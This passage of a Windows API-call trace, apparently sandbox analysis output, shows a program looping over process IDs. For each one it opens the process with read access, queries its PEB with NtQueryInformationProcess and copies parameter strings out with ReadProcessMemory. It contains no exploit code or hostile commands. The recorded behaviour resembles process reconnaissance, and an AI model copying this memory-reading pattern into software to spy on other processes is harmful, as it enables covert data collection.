lpNumberOfBytesRead=0x0) returned 1 [0297.553] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0297.553] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x541c80, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0297.553] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5418f8, lpBuffer=0x670f7c2b0, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0297.554] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0297.556] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0297.556] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2fd020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0297.556] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5412e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0297.556] malloc (_Size=0x4e) returned 0x196ef100c80 [0297.556] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x54193e, lpBuffer=0x196ef100c80, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef100c80*, lpNumberOfBytesRead=0x0) returned 1 [0297.557] free (_Block=0x196ef100c80) [0297.558] CloseHandle (hObject=0x464) returned 1 [0297.559] _ui64tow_s (in: _Value=0xf50, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3920") returned 0x0 [0297.564] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3920") returned 4 [0297.565] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0297.565] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0297.583] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf50) returned 0x464 [0297.583] GetLastError () returned 0x0 [0297.584] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0297.584] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2ac018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0297.584] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0297.584] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x561d00, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0297.584] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5618f8, lpBuffer=0x670f7c2b0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0297.586] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0297.587] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0297.587] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2ac020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0297.588] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5612e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0297.588] malloc (_Size=0x7a) returned 0x196ef0fab10 [0297.588] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x56196a, lpBuffer=0x196ef0fab10, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fab10*, lpNumberOfBytesRead=0x0) returned 1 [0297.589] free (_Block=0x196ef0fab10) [0297.630] CloseHandle (hObject=0x464) returned 1 [0297.631] _ui64tow_s (in: _Value=0xf5c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3932") returned 0x0 [0297.636] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3932") returned 4 [0297.637] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0297.637] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0297.653] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf5c) returned 0x464 [0297.653] GetLastError () returned 0x0 [0297.654] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0297.654] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2e3018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0297.654] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0297.654] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x501c80, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0297.654] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5018f8, lpBuffer=0x670f7c2b0, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0297.655] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0297.657] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0297.657] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2e3020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0297.657] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5012e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0297.657] malloc (_Size=0x4e) returned 0x196ef1014c0 [0297.657] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x50193e, lpBuffer=0x196ef1014c0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef1014c0*, lpNumberOfBytesRead=0x0) returned 1 [0297.658] free (_Block=0x196ef1014c0) [0297.659] CloseHandle (hObject=0x464) returned 1 [0297.659] _ui64tow_s (in: _Value=0xf64, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3940") returned 0x0 [0297.664] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3940") returned 4 [0297.665] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0297.665] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0297.689] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf64) returned 0x464 [0297.689] GetLastError () returned 0x0 [0297.690] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0297.690] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x238018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0297.690] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0297.690] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b1ce0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0297.691] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b18f8, lpBuffer=0x670f7c2b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0297.692] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0297.693] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0297.693] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x238020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0297.693] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0297.693] malloc (_Size=0x70) returned 0x196ef0d31b0 [0297.693] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b1960, lpBuffer=0x196ef0d31b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0297.694] free (_Block=0x196ef0d31b0) [0297.695] CloseHandle (hObject=0x464) returned 1 [0297.695] _ui64tow_s (in: _Value=0xf74, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3956") returned 0x0 [0297.700] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3956") returned 4 [0297.701] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0297.701] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0297.766] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf74) returned 0x464 [0297.766] GetLastError () returned 0x0 [0297.767] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0297.767] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3a2018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0297.767] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0297.767] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x621cb0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0297.767] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x6218f8, lpBuffer=0x670f7c2b0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0297.769] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0297.770] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0297.770] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3a2020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0297.770] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x6212e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0297.771] malloc (_Size=0x60) returned 0x196ef0d03e0 [0297.771] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x621950, lpBuffer=0x196ef0d03e0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d03e0*, lpNumberOfBytesRead=0x0) returned 1 [0297.771] free (_Block=0x196ef0d03e0) [0297.772] CloseHandle (hObject=0x464) returned 1 [0297.773] _ui64tow_s (in: _Value=0xf7c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3964") returned 0x0 [0297.778] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3964") returned 4 [0297.779] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0297.779] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0297.801] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf7c) returned 0x464 [0297.801] GetLastError () returned 0x0 [0297.810] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0297.810] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x382018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0297.811] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0297.811] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x521ce0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0297.811] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5218f8, lpBuffer=0x670f7c2b0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0297.812] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0297.814] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0297.814] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x382020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0297.814] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5212e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0297.814] malloc (_Size=0x6c) returned 0x196ef0d31b0 [0297.814] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x52195c, lpBuffer=0x196ef0d31b0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0297.815] free (_Block=0x196ef0d31b0) [0297.816] CloseHandle (hObject=0x464) returned 1 [0297.816] _ui64tow_s (in: _Value=0xf8c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3980") returned 0x0 [0297.821] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3980") returned 4 [0297.823] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0297.823] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0297.841] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf8c) returned 0x464 [0297.841] GetLastError () returned 0x0 [0297.841] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0297.841] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x353018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0297.842] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0297.842] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4f1d10, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0297.842] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4f18f8, lpBuffer=0x670f7c2b0, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0297.843] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0297.845] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0297.845] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x353020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0297.845] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4f12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0297.846] malloc (_Size=0x7c) returned 0x196ef0fb0b0 [0297.846] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4f196c, lpBuffer=0x196ef0fb0b0, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fb0b0*, lpNumberOfBytesRead=0x0) returned 1 [0297.846] free (_Block=0x196ef0fb0b0) [0297.847] CloseHandle (hObject=0x464) returned 1 [0297.848] _ui64tow_s (in: _Value=0xf94, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3988") returned 0x0 [0297.853] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3988") returned 4 [0297.870] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0297.870] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0297.895] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf94) returned 0x464 [0297.896] GetLastError () returned 0x0 [0297.896] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0297.896] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x54d018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0297.897] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0297.897] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3f1ce0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0297.897] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3f18f8, lpBuffer=0x670f7c2b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0297.899] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0297.900] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0297.901] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x54d020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0297.901] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3f12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0297.915] malloc (_Size=0x70) returned 0x196ef0d31b0 [0297.915] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3f1960, lpBuffer=0x196ef0d31b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0297.916] free (_Block=0x196ef0d31b0) [0297.917] CloseHandle (hObject=0x464) returned 1 [0297.918] _ui64tow_s (in: _Value=0xfa8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4008") returned 0x0 [0297.924] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4008") returned 4 [0297.925] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0297.925] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0297.965] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfa8) returned 0x464 [0297.965] GetLastError () returned 0x0 [0297.965] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, 